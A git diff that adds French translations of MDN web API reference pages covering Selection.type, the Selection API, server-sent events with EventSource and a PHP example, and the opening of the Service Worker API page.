new file mode 100644
index 0000000000..6f6032891a
--- /dev/null
+++ b/files/fr/web/api/selection/type/index.html
@@ -0,0 +1,70 @@
+---
+title: Selection.type
+slug: Web/API/Selection/type
+tags:
+  - API
+  - Experimental
+  - Propriété
+  - Reference
+  - Type
+translation_of: Web/API/Selection/type
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>La propriété en lecture simple <strong><code>type</code></strong> de l'interface {{domxref("Selection")}} retourne un {{domxref("DOMString")}} décrivant le type de la sélection courante.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>value</em> =<em> sel</em>.type
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Une {{domxref("DOMString")}} décrivant le type de la sélection courante. Les valeurs possibles sont :</p>
+
+<ul>
+ <li><code>None</code>: Aucune sélection courante.</li>
+ <li><code>Caret</code>: La sélection est réduite (le curseur est dans un texte mais il n'y a pas de plage sélectionnée).</li>
+ <li><code>Range</code>: Une plage est sélectionnnée.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple le gestionnaire d'évènemenet est activé à chaque changement de la sélection. <code>console.log(selection.type)</code> retourne <code>Caret</code> ou <code>Range</code> selon que le curseur est sur un simple caractère ou qu'une plage est sélectionée.</p>
+
+<pre class="brush: js">var selection;
+
+document.onselectionchange = function() {
+  console.log('New selection made');
+  selection = document.getSelection();
+  console.log(selection.type);
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '#dom-selection-type', 'Selection.type')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Courant</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Selection.type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}</li>
+</ul>
diff --git a/files/fr/web/api/selection_api/index.html b/files/fr/web/api/selection_api/index.html
new file mode 100644
index 0000000000..bca8077699
--- /dev/null
+++ b/files/fr/web/api/selection_api/index.html
@@ -0,0 +1,221 @@
+---
+title: Selection API
+slug: Web/API/Selection_API
+translation_of: Web/API/Selection_API
+---
+<p>{{APIRef}}</p>
+
+<div class="summary">
+<p>L’API Selection fournit des fonctionnalités pour lire et manipuler les plages (en anglais : <em lang="en-US">ranges</em>) de texte sélectionnées par l’utilisatrice ou l’utilisateur.</p>
+</div>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>Pour obtenir la plage de texte actuellement sélectionnée par l’utilisatrice ou l’utilisateur, vous pouvez utiliser la méthode {{domxref("Window.getSelection()")}} ou {{domxref("Document.getSelection()")}}, et stocker la valeur de retour – un objet {{domxref("Selection")}} – dans une variable pour une utilisation ultérieure.</p>
+
+<p>Une fois que votre sélection est dans une variable, vous pouvez effectuer différentes opérations dessus, par exemple :</p>
+
+<ul>
+ <li>copier la sélection dans une chaîne en utilisant {{domxref("Selection.toString()")}} ;</li>
+ <li>ajouter (ou enlever) une plage (representée par un objet {{domxref("Range")}} standard) à la sélection grâce à {{domxref("Selection.addRange()")}} / {{domxref("Selection.removeRange()")}} ;</li>
+ <li>modifier la sélection pour qu’elle devienne le contenu entier d’un nœud DOM grâce à {{domxref("Selection.selectAllChildren()")}}.</li>
+</ul>
+
+<p>Vous pouvez exécuter du code en réponse à un changement de sélection, ou au commencement d’une nouvelle sélection, en utilisant les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}}.</p>
+
+<h2 id="Interfaces_de_l’API_Selection">Interfaces de l’API Selection</h2>
+
+<dl>
+ <dt>{{domxref("Selection")}}</dt>
+ <dd>Représente la plage de texte sélectionnée ou la position actuelle du curseur.</dd>
+</dl>
+
+<h2 id="Extensions_à_d’autres_interfaces">Extensions à d’autres interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Window.getSelection()")}}, {{domxref("Document.getSelection()")}}</dt>
+ <dd>Retourne un objet {{domxref("Selection")}} représentant la plage de texte sélectionnée ou la position actuelle du curseur. <code>Document.getSelection()</code> est en quelques sortes un alias de <code>Window.getSelection()</code>.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectstart")}} est émis sur l’objet concerné (c’est-à-dire quand une nouvelle plage de texte est sur le point d’être sélectionnée).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectionchange")}} est émis sur l’objet concerné (c’est-à-dire quand la plage de texte sélectionné change).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '#definition', 'Selection')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>La spécification de l’API Selection est basée sur la spécification de l’API Édition HTML et se concentre sur les fonctionnalités liées à la sélection.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#selection', 'Selection')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Définition initiale (plus ancienne), à présent obsolète.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}<br>
+    {{CompatGeckoDesktop(52)}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setBaseAndExtent()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deleteFromDocument()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>empty()</code> comme alias de <code>removeAllRanges()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setPosition()</code> comme alias de <code>collapse()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown()}}<br>
+     {{CompatGeckoMobile(52)}}<sup>[1]</sup></p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setBaseAndExtent()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deleteFromDocument()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>empty()</code> comme alias de <code>removeAllRanges()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setPosition()</code> comme alias de <code>collapse()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}} sont supportés à partir de Firefox 52.</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/chrisdavidmills/selection-api-examples/tree/gh-pages#key-quote-generator" lang="en-US">Key quote generator</a>: Une démo simple montrant un usage typique de l’API Selection pour capturer la sélection actuelle à un instant donné et copier les sélections dans une liste (<a href="https://chrisdavidmills.github.io/selection-api-examples/">voir également en direct</a>).</li>
+ <li>L’objet {{domxref("Range")}}.</li>
+</ul>
diff --git a/files/fr/web/api/server-sent_events/index.html b/files/fr/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..6e128d7c6e
--- /dev/null
+++ b/files/fr/web/api/server-sent_events/index.html
@@ -0,0 +1,107 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+tags:
+  - Server-sent events
+  - TopicStub
+translation_of: Web/API/Server-sent_events
+---
+<p>Habituellement, une page web doit envoyer une requête au serveur pour obtenir de nouvelles données. Avec les server-Sent events, le serveur peut envoyer de nouvelles données vers une page web à n'importe quel moment. La page web reçoit alors ces nouveaux messages qui peuvent être traités comme des événements contenant des données.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent events/Using server-sent events">Utilisation des événements envoyés par le serveur</a></dt>
+     <dd>Un tutoriel sur l'écriture d'une partie côté serveur et côté client d'une application d'événements envoyée par le serveur.</dd>
+     <dt><a href="/en-US/docs/Server-sent_events/EventSource" title="Server-sent events/EventSource">EventSource référence</a></dt>
+     <dd>Une référence à l'API EventSource côté client.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Server-sent_events" title="tag/Server-sent events">Voir tout...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">Outils</h2>
+
+    <ul>
+     <li>Remy Sharp’s <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource polyfill</a></li>
+     <li>Yaffle’s <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource polyfill</a></li>
+     <li>Rick Waldron’s <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery plugin</a></li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Rubriques connexes</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Une <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">application de type Twitter</a> alimentée par des événements envoyés par le serveur et <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">son code sur Github</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">Événements HTML5 et envoyés par le serveur</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Événements envoyés par le serveur à l'aide d'Asp.Net</a></li>
+</ul>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a href="http://dev.w3.org/html5/eventsource/" title="http://dev.w3.org/html5/eventsource/">Événements envoyés par le serveur</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/server-sent_events/using_server-sent_events/index.html b/files/fr/web/api/server-sent_events/using_server-sent_events/index.html
new file mode 100644
index 0000000000..3ca71f34a5
--- /dev/null
+++ b/files/fr/web/api/server-sent_events/using_server-sent_events/index.html
@@ -0,0 +1,264 @@
+---
+title: Utiliser les évènements envoyés par le serveur
+slug: Web/API/Server-sent_events/Using_server-sent_events
+translation_of: Web/API/Server-sent_events/Using_server-sent_events
+---
+<p>Développer une application web qui utilise des <em><a href="/fr/docs/Server-sent_events" title="/fr/docs/Server-sent_events">server-sent events</a></em> (évènements envoyés par le serveur) est assez facile. Vous aurez besoin d’un bout de code côté serveur pour transmettre des évènements en flux continu à l’application web ; mais côté client, les choses fonctionnent de manière quasiment identique à la gestion de n’importe quel autre type d’évènement.</p>
+
+<h2 id="Recevoir_des_évènements_du_serveur">Recevoir des évènements du serveur</h2>
+
+<p>L’API <em>server-sent events</em> est exposée par l’interface <a href="/fr/docs/Web/API/EventSource" title="/fr/docs/Web/API/EventSource"><code>EventSource</code></a> ; pour ouvrir une connexion vers le serveur afin de commencer à recevoir des évènements de celui-ci, vous devez créer un nouvel objet <code>EventSource</code>, en spécifiant l’URL d’un script côté serveur qui va générer les évènements. Par exemple :</p>
+
+<pre class="brush: php">var evtSource = new EventSource("ssedemo.php");
+</pre>
+
+<p>Si le script qui génère les évènements est hébergé sur un domaine différent, le nouvel objet <code>EventSource</code> doit être créé en spécifiant à la fois l’URI et un dictionnaire d’options. Par exemple, en supposant que le script client est sur example.com :</p>
+
+<pre class="brush: js">var evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );</pre>
+
+<div class="note">
+<p><strong>Note :</strong> l’utilisation d’<code>EventSource</code> n’est pas supportée par tous les navigateurs. Veuillez vérifier la section {{ anch("Compatibilité des navigateurs") }}.</p>
+</div>
+
+<p>Une fois que vous avez instancié votre source d’évènement, vous pouvez commencer à surveiller les messages du serveur, en écoutant l’évènement <a href="/fr/docs/Web/API/MessageEvent" title="/fr/docs/Web/API/MessageEvent"><code>message</code></a> :</p>
+
+<pre class="brush: js">evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.innerHTML = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+</pre>
+
+<p>Ce code écoute les messages entrants (plus précisément, les notifications venant du serveur qui n’ont pas de champ <code>event</code> attaché) et ajoute le texte des messages à une liste dans le HTML du document.</p>
+
+<p>Vous pouvez aussi écouter les évènements avec <code>addEventListener()</code> :</p>
+
+<pre class="brush: js">evtSource.addEventListener("ping", function(e) {
+  var newElement = document.createElement("li");
+
+  var obj = JSON.parse(e.data);
+  newElement.innerHTML = "ping at " + obj.time;
+  eventList.appendChild(newElement);
+}, false);
+</pre>
+
+<p>Ce code est similaire, à part qu’il sera appelé automatiquement si le serveur envoie un message dont le champ <code>event</code> est <code>ping</code> ; il analysera alors le JSON dans le champ <code>data</code> et l’affichera.</p>
+
+<h2 id="Envoyer_un_évènement_depuis_le_serveur">Envoyer un évènement depuis le serveur</h2>
+
+<p>Le script côté serveur qui envoie les évènements doit répondre en utilisant le type MIME <code>text/event-stream</code>. Chaque notification est envoyée sous la forme d’un bloc de texte se terminant par une paire de caractères <em>saut de ligne</em> (<code>\n</code>). Pour plus de détails sur le format du flux d’évènements, voir {{ anch("Format du flux d'évènements") }}.</p>
+
+<p>Voici le code {{ Glossary("PHP") }} que nous utilisons pour notre exemple :</p>
+
+<pre class="brush: php">date_default_timezone_set("America/New_York");
+header("Content-Type: text/event-stream\n\n");
+
+$counter = rand(1, 10);
+while (1) {
+  // Chaque seconde, envoi d’un évènement "ping".
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  // Paire de sauts de ligne
+  echo "\n\n";
+
+  // Envoie un message simple à des intervalles aléatoires.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+</pre>
+
+<p>Ce code génère un évènement de type « ping » à chaque seconde. La donnée de chaque évènement est un objet JSON contenant un horodatage ISO 8601 qui correspond à l’heure à laquelle l’évènement a été généré. À des intervalles aléatoires, un message simple (sans type d’évènement) est envoyé.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pouvez trouver un exemple complet utilisant le code ci-dessus sur Github — voir <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events" lang="en-US">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Gestion_des_erreurs">Gestion des erreurs</h2>
+
+<p>Quand un problème survient (tel qu’un délai de réponse dépassé ou une erreur liée au <a href="/fr/docs/Web/HTTP/CORS">contrôle d’accès</a>), un évènement <code>error</code> est généré. Vous pouvez traiter ces cas d’erreur en implémentant la fonction de rappel <code>onerror</code> de l’objet <code>EventSource</code>.</p>
+
+<pre class="brush: js">evtSource.onerror = function(e) {
+  alert("EventSource failed.");
+};
+</pre>
+
+<p>À l’heure de Firefox 60, il ne semble pas exister de moyen de distinguer les différents types d’erreur.</p>
+
+<h2 id="Fermer_un_flux_d’évènements">Fermer un flux d’évènements</h2>
+
+<p>Par défaut, si la connexion entre le client et le serveur est rompue, elle sera relancée. Il est possible de la fermer explicitement à l’aide de la méthode <code>.close()</code>.</p>
+
+<pre>evtSource.close();</pre>
+
+<h2 id="Format_du_flux_d’évènements">Format du flux d’évènements</h2>
+
+<p>Le flux d’évènements est un simple flux de données de texte, qui doivent être encodées en UTF-8. Les messages dans le flux d’évènements sont séparés par une paire de sauts de ligne. Un caractère deux-points « : » en début de ligne est essentiellement un commentaire, et est ignoré.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Une ligne de commentaire peut être utilisée pour empêcher les connexions d’expirer. Un serveur peut envoyer périodiquement des commentaires afin de garder la connexion ouverte.</p>
+</div>
+
+<p>Chaque message consiste en une ou plusieurs lignes de texte décrivant les champs de ce message. Chaque champ est représenté par le nom du champ, suivi d’un « : », suivi des données de texte pour la valeur de ce champ.</p>
+
+<h3 id="Champs">Champs</h3>
+
+<p>Chaque message reçu a une combinaison quelconque des champs suivants, un par ligne ·</p>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>Une chaîne identifiant le type d’évènement décrit. S’il est spécifié, un évènement sera envoyé dans le navigateur à l’écouteur défini pour l’évènement spécifié. Le code source de l’application doit utiliser <code>addEventListener()</code> pour écouter des évènements nommés. Le gestionnaire <code>onmessage</code> est appelé si aucun nom d’évènement n’est spécifié dans un message.</dd>
+ <dt><code>data</code></dt>
+ <dd>Le champ de données du message. Lorsque l’<code>EventSource</code> reçoit plusieurs lignes de message consécutives commençant par <code>data:</code>, <a href="http://www.w3.org/TR/eventsource/#dispatchMessage">il les concatène</a>, en ajoutant un caractère saut de ligne entre chacune d’elles. Les sauts de ligne en fin de message sont supprimés.</dd>
+ <dt><code>id</code></dt>
+ <dd>L’ID d’évènement, qui sera mémorisé comme valeur d’ID du dernier évènement de l’objet <code>EventSource</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>retry</code></dt>
+ <dd>Le délai de reconnexion à utiliser lors de la tentative d’envoi de l’évènement. Il doit être un nombre entier, spécifiant le temps de reconnexion en millisecondes. Si une valeur non entière est spécifiée, le champ est ignoré.</dd>
+</dl>
+
+<p>Tous les autres noms de champs sont ignorés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si une ligne ne contient aucun caractère deux-points, la ligne entière est considérée comme le nom du champ, avec un contenu vide.</p>
+</div>
+
+<h3 id="Exemples">Exemples</h3>
+
+<h4 id="Messages_de_données_seulement">Messages de données seulement</h4>
+
+<p>Dans l’exemple suivant, trois messages sont envoyés. Le premier est simplement un commentaire, car il débute par un caractère deux-points. Comme mentionné précédemment, cela peut être utile pour maintenir la connexion si des messages doivent être transmis de façon irrégulière.</p>
+
+<p>Le second message contient un champ <code>data</code> avec la valeur <code>"some text"</code>. Le troisième message contient un champ <code>data</code> avec la valeur <code>"another message\nwith two lines"</code>. Notez le caractère saut de ligne dans la valeur.</p>
+
+<pre>: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+</pre>
+
+<h4 id="Évènements_nommés">Évènements nommés</h4>
+
+<p>Cet exemple envoie une série d’évènements nommés. Chacun a un nom d’évènement spécifié par le champ <code>event</code>, et un champ <code>data</code> dont la valeur est une chaîne JSON appropriée avec les données nécéssaires au client pour réagir à l’évènement. Le champ <code>data</code> peut évidemment contenir n’importe quelles données de texte , il n’est pas obligatoirement au format JSON.</p>
+
+<pre>event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+</pre>
+
+<h4 id="Mélanger_les_messages">Mélanger les messages</h4>
+
+<p>Il n’est pas obligatoire d’utiliser uniquement des messages sans nom ou des évènements nommés. Vous pouvez mélanger les deux dans un même flux d’évènements.</p>
+
+<pre>event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Ici un message système quelconque qui sera utilisé
+data: pour accomplir une tâche.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de EventSource</td>
+   <td>6</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les workers partagés et dédiés<sup>[1]</sup></td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoDesktop("53.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de EventSource</td>
+   <td>4.4</td>
+   <td>45</td>
+   <td>{{ CompatNo }}</td>
+   <td>12</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les workers partagés et dédiés<sup>[1]</sup></td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoMobile("53.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Mais <a href="https://github.com/w3c/ServiceWorker/issues/947">pas dans les service workers pour le moment</a>.</p>
+
+<h2 id="Références">Références</h2>
+
+<h4 id="Communauté_WHATWG">Communauté WHATWG</h4>
+
+<p><a href="https://html.spec.whatwg.org/multipage/comms.html#server-sent-events">https://html.spec.whatwg.org/multipage/comms.html#server-sent-events</a></p>
+
+<p><a href="http://www.html5rocks.com/profiles/#ericbidelman">Eric Bidelman</a> sur le blog HTML5 ROCKS</p>
+
+<p><a href="http://www.html5rocks.com/en/tutorials/eventsource/basics/?redirect_from_locale=fr">http://www.html5rocks.com/en/tutorials/eventsource/basics/?redirect_from_locale=fr</a></p>
diff --git a/files/fr/web/api/service_worker_api/index.html b/files/fr/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..dc15a4f63a
--- /dev/null
+++ b/files/fr/web/api/service_worker_api/index.html
@@ -0,0 +1,290 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+  - API
+  - Chargement
+  - Service Workers
+  - Workers
+  - hors-ligne
+translation_of: Web/API/Service_Worker_API
+---
+<div>
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p class="summary">Les service workers jouent essentiellement le rôle de serveurs proxy placés entre une application web, et le navigateur ou le réseau (lorsque disponible.) Ils sont destinés (entre autres choses) à permettre la création d'expériences de navigation déconnectée efficaces, en interceptant les requêtes réseau et en effectuant des actions appropriées selon que le réseau est disponible et que des ressources mises à jour sont à disposition sur le serveur. Ils permettront aussi d'accéder aux APIs de notifications du serveur (push) et de synchronisation en arrière-plan.</p>
+</div>
+
+<h2 id="Service_worker_concepts_et_usage">Service worker, concepts et usage</h2>
+
+<p>Un service worker est un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a> événementiel enregistré auprès d'une origine et d'un chemin. Il prend la forme d'un fichier JavaScript qui peut contrôler la page ou le site web auquel il est associé, en interceptant et en modifiant la navigation et les requêtes de ressources, et en mettant en cache les ressources selon une granularité très fine pour vous donner une maîtrise complète de la manière dont doit se comporter votre application dans certaines situations (l'une des plus évidentes étant l'indisponibilité du réseau.)</p>
+
